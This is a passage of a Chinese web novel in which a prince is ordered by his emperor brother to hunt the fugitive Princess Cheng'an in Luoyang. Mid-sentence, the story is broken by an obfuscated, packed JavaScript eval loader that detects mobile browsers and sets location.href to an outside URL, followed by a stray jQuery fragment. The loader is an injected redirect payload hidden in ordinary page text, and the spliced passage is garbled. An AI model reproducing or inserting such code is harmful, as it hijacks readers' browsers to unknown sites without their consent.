若论柔善,还有谁能胜得过于归?
皇兄这话,他半个字都不信。
但晏秋池下意识没有再问下去,甚至没再多提半个字。
越是如此,越证明此事背后定有别的隐情,皇兄当真一无所知?
他得自己去查。
“你难得回来一次,不妨多待几日,正好帮我做件事。”
晏明川将画卷扔回匣中,走回桌前坐下,再抬眸时其中那几分闲暇已尽数不见,变成了往日一派深沉的模样。
晏秋池起身,恭肃了些,垂手而立。
这倒令晏明川轻笑了一声:“不必紧张,不算什么大事,就是替我查一个人。”
晏明川手上是有一支只听令于他的听云卫的,故而除去日常的情报搜集,他已经很久不曾让晏秋池亲自去替他查什么人了。
“什么人连听云卫都查不到?”
“承安公主。”
晏秋池霍然变色。
上首的君王轻轻摇头。
“我们的敌人可不止一个承安公主,你若只听到她的名字就如此,让我如何放心将此事交于你?”
晏秋池勉强回神,拱手道:“是臣弟失态了……只是承安公主……销声匿迹这么多年,我还当她早不知死在哪儿了,皇兄突然提到她,可是那群遗党又起风波?”
“区区前朝遗党,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799907|158333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能掀起多大风浪。但这个承安这些年在暗地里做了不少事,我大昭立国、天下初定,距今也不过十几年,前朝末帝虽倒施逆行,但毕竟有数百年国祚为基,有人心念故主也是常事。”
他话音一转,又道:“前些日子抓了几个人,倒是从他们嘴里撬出了些东西,承安公主,如今十有八九就在洛阳。”
“这些附骨之疽,眼中之刺,已经存在得够久了,这次最好彻底剜除。”
话落,他将一张写满供词的纸递给晏秋池。
晏秋池接过看了一眼,挑了挑眉:“皇兄放心,既然人在洛阳,总不会让她再跑了。”
承安公主乃是前朝末帝的独女,前朝覆灭后,天下人皆知公主随末帝与旧宫一同葬身火海。
十五年前的一个冬月,晏明川在宫中被掳走,先帝派人搜寻数月,始终杳无音讯。
那段日子,先皇后几乎哭瞎了眼,就在先帝即将昭告天下皇太子的死讯时,他却自己回来了。
除了先帝,谁也不知失踪的数月,晏明川究竟身在何处。
在他一次次追问下,晏明川也只是点到为止地透露了几句——在世人眼中早该死去的承安公主尚在人世,她利用先朝留下的宫中密道和人手掳走太子,是为复仇。
至于一个十二岁的少年究竟是如何逃出生天,平安回宫,就连晏秋池也不知晓。
但他曾见过皇兄身上的陈年旧伤,密密麻麻的伤口纵横交错,无一不指向那个承安公主。
如今有了承安的下落,他必定要亲自抓住她,为皇兄报当年之仇。
自宫中出来,晏秋池当即召来数个听云卫,按照供词上交代的线索吩咐下去,独独留下莫午。
出门时她在听节华讲故事,几个时辰过去恐怕也该听厌了,上次瞧着她倒是挺喜欢莫午写的情报。
咳——姑且算是情报吧。
莫午一脸凝重地等着主子吩咐,但——买糖水?讲话本??
这可太好了!
没想到自己在王爷手下竟还有发挥用武之地的一日,领命而去,誓要将自己新写成的生平最得意之作讲给卫姑娘听——
比上次那个被员外郎追着打的更曲折离奇!
于归倚坐在廊下,身旁触手可及的位置放着水果和点心。
还有